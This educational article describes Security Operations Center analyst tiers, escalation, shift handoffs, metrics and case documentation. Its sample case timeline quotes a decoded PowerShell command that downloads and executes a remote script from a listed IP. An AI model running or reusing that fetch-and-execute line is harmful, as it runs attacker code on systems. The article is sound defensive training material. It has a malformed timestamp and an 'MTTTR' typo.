SOC Roles and Workflows

Why Tiered Roles Exist

A Security Operations Center processes thousands of alerts per day. Not every alert requires the same level of expertise. The three-tier model distributes work across analysts with different skill levels, ensuring that senior staff focus on complex investigations while junior staff handle high-volume triage.

Tier 1: Triage and Initial Response

Tier 1 analysts are the front line. Their primary responsibility is triage — quickly determining whether an alert is a true positive, a false positive, or requires deeper investigation. They work from a queue of alerts generated by the SIEM, EDR, and other detection tools.

A Tier 1 analyst's typical tasks:

• Review alert context: what triggered, which asset, what detection rule
• Check threat intelligence: is the source IP known-malicious? Is the domain newly registered?
• Examine asset context: is the affected system critical? Who owns it?
• Determine disposition: close as false positive, escalate to Tier 2, or contain if active
• Document findings: what was checked, what was found, why the disposition was chosen

Tier 1 analysts follow playbooks — step-by-step procedures for common alert types. A playbook for a "suspicious PowerShell execution" alert might instruct the analyst to: (1) check the command line for encoded commands, (2) verify the parent process, (3) check if the user has a business need for PowerShell, (4) escalate if the command downloads from an external IP.

The key skill for Tier 1 is speed with accuracy. They must process many alerts quickly but not so fast that they miss real threats. A Tier 1 analyst who closes everything as false positive is dangerous; one who escalates everything overwhelms Tier 2.

Tier 2: Investigation and Analysis

Tier 2 analysts handle the alerts that Tier 1 cannot resolve. They perform deeper investigation — correlating multiple data sources, analyzing malware, reconstructing attack timelines, and determining the scope of an incident.

A Tier 2 analyst's typical tasks:

• Investigate escalated alerts: full packet capture analysis, log correlation, endpoint forensics
• Determine attack scope: which systems are affected? What data was accessed? How did the attacker get in?
• Contain active threats: isolate hosts, block IPs, disable accounts
• Document the incident: timeline, root cause, impact assessment
• Escalate to Tier 3 if the incident involves advanced persistent threats or requires threat hunting

Tier 2 analysts need strong technical skills across multiple domains — networking, operating systems, malware analysis, and cloud platforms. They must be comfortable with the SIEM, EDR, and forensic tools.

Tier 3: Threat Hunting and Engineering

Tier 3 analysts are the most experienced. They do not wait for alerts — they hunt for threats that have evaded automated detection. They also improve the SOC's detection capabilities by writing new detection rules, tuning existing ones, and researching emerging threats.

A Tier 3 analyst's typical tasks:

• Proactive threat hunting: search for indicators of compromise across the environment
• Detection engineering: write and tune SIEM rules, develop new detection logic
• Incident response leadership: manage major incidents, coordinate across teams
• Threat research: analyze new attack techniques, update detection coverage
• Mentoring: train Tier 1 and Tier 2 analysts

Tier 3 analysts think like attackers. They study MITRE ATT&CK techniques, analyze threat actor TTPs, and hypothesize how an attacker would operate in the environment. Their hunts are structured: form a hypothesis, search for evidence, confirm or refute, and document findings.

The Tier Escalation Path

Alert Generated → Tier 1 (Triage)
                    ├─ False Positive → Close
                    ├─ True Positive, contained → Close with documentation
                    └─ Needs investigation → Tier 2 (Investigation)
                                          ├─ Contained → Close with incident report
                                          └─ Advanced threat → Tier 3 (Hunting/IR)

The escalation path must be fast. A Tier 1 analyst should be able to escalate to Tier 2 in minutes, not hours. Delays in escalation give attackers more time to operate.

Preserving Context Across Rotations

SOCs operate 24/7 with analysts working in shifts. When a shift ends, the outgoing analyst must transfer all open cases to the incoming analyst. Without a structured handoff process, cases fall through the cracks — an attacker who was being investigated at 23:00 continues operating while the incoming shift starts fresh and unaware.

The Handoff Document

A shift handoff document captures the state of the SOC at the end of each shift. It includes:

1. Open cases — every case that is not yet closed, with its current status and next steps
2. Active incidents — incidents that are being investigated or contained, with the incident commander and current phase
3. Ongoing alerts — alerts that have been acknowledged but not yet resolved
4. System issues — any detection tools, SIEM, or data sources that are degraded or offline
5. Threat intelligence — any new IOCs or threat reports that arrived during the shift
6. Escalations — any cases that were escalated to Tier 2, Tier 3, or management

The handoff document should be a living document in the case management system, not a separate spreadsheet or email. It must be easily accessible to the incoming shift and searchable for historical reference.

The Handoff Meeting

Best practice is a face-to-face (or video) handoff meeting between the outgoing and incoming shifts. The outgoing analyst walks through each open case:

• What happened: the alert or incident summary
• What was done: investigation steps taken, containment actions
• What is known: confirmed findings, remaining unknowns
• What is next: specific actions for the incoming shift
• What to watch: indicators that the situation may be worsening

This verbal transfer captures context that written documentation misses — the analyst's intuition about whether an alert is serious, the odd detail that does not fit the pattern, the concern that has not yet been confirmed.

Escalation Matrices

Not every alert or incident requires the same level of response. An escalation matrix defines the criteria for moving an incident up the chain — from analyst to team lead to SOC manager to CISO to executive leadership.

The escalation matrix must be specific enough that any analyst can apply it without ambiguity. "Critical" should not mean different things to different people. Define objective criteria: "ransomware detected on any host" is critical; "suspicious PowerShell on a workstation" is high unless the workstation is a domain controller, in which case it is critical.

Communication During Incidents

During an active incident, communication follows the incident command structure:

• Incident Commander — typically a Tier 3 analyst or SOC manager who coordinates the response
• Communications Lead — manages internal and external notifications
• Technical Lead — directs the technical investigation and containment
• Scribe — documents all actions, decisions, and findings in real time

The incident commander does not investigate — they coordinate. This separation ensures that the response is organized and that nothing is forgotten in the chaos of an active incident.

Metrics That Matter

SOC performance is measured by metrics that reflect both efficiency and effectiveness:

• Mean Time to Detect (MTTD) — how long from attack start to alert generation
• Mean Time to Respond (MTTR) — how long from alert to containment
• Alert-to-Incident Conversion Rate — what percentage of alerts become confirmed incidents
• False Positive Rate — what percentage of alerts are false positives
• Case Aging — how long cases remain open before resolution
• Escalation Accuracy — whether cases are escalated to the correct tier

These metrics drive improvement. A high false positive rate indicates detection tuning problems. A high MTTTR indicates staffing or process gaps. A low alert-to-incident conversion rate may indicate that detection rules are too conservative.

From Alert to Resolution: The Case Lifecycle

Every alert that is not immediately closed as a false positive becomes a case. The case management system is the SOC's system of record — it tracks the case from creation through investigation, containment, and resolution. Proper documentation is not optional; it is what enables handoffs, supports legal proceedings, and drives process improvement.

Case Creation

A case is created when an alert requires investigation. The case record includes:

• Case ID — unique identifier (auto-generated by the case management system)
• Source alert — the original alert that triggered the case, with full context
• Asset information — hostname, IP, OS, owner, criticality, location
• Analyst assignment — who is responsible for the case
• Severity — initial severity assessment
• Timeline — chronological log of all actions and findings

Investigation Documentation

Every action taken during the investigation is documented in the case timeline:

2026-09-30 14:02 — Case created from alert "Suspicious PowerShell execution" on WS-042
2026-09-30 14:05 — Analyst J. Smith reviewed alert context
2026-00-30 14:08 — Checked command line: powershell -enc [base64]
2026-09-30 14:10 — Decoded base64: IEX (New-Object Net.WebClient).DownloadString("http://185.220.101.4/payload.ps1")
2026-09-30 14:12 — Checked threat intel: 185.220.101.4 is known C2 (AbuseIPDB, VirusTotal)
2026-09-30 14:15 — Escalated to Tier 2: confirmed malicious download
2026-09-30 14:20 — Analyst M. Chen isolated WS-042 from network
2026-09-30 14:25 — Memory capture initiated on WS-042
2026-09-30 14:30 — Case status: Contained, pending forensic analysis

This timeline serves multiple purposes:

• Handoff — the incoming analyst knows exactly what has been done
• Legal — if the incident leads to prosecution, the timeline documents the investigation
• Improvement — post-incident review uses the timeline to identify process gaps

Disposition and Closure

A case is closed with a disposition that describes the outcome:

• Confirmed Incident — malicious activity was confirmed and contained
• False Positive — the alert was triggered by legitimate activity
• True Positive — Benign — the activity was technically suspicious but has a legitimate explanation (e.g., penetration test, authorized admin activity)
• Insufficient Data — the investigation could not determine whether the activity was malicious (e.g., logs were unavailable)

The disposition must include a rationale — why the case was closed with that outcome. "Closed as false positive" is not sufficient; "Closed as false positive — PowerShell command was part of automated software deployment by the IT team, verified with system owner" is sufficient.

Knowledge Base and Playbook Maintenance

Every case contributes to the SOC's institutional knowledge:

• New IOCs — IPs, domains, file hashes discovered during investigation are added to threat intelligence feeds
• Playbook updates — if the investigation revealed a gap in the playbook, the playbook is updated
• Detection improvements — if the attack technique was not detected by existing rules, new rules are written
• Training material — interesting cases are anonymized and used for analyst training

The knowledge base is a living resource. A SOC that does not learn from its cases will repeat the same mistakes and miss the same attack patterns.

Quality Assurance

Senior analysts review closed cases for quality:

• Was the triage accurate?
• Was the investigation thorough?
• Was the documentation complete?
• Were the correct containment actions taken?
• Could the case have been resolved faster?

Quality assurance is not punitive — it is how the SOC maintains high standards and continuously improves. A case that was handled perfectly is as valuable for learning as one that had gaps.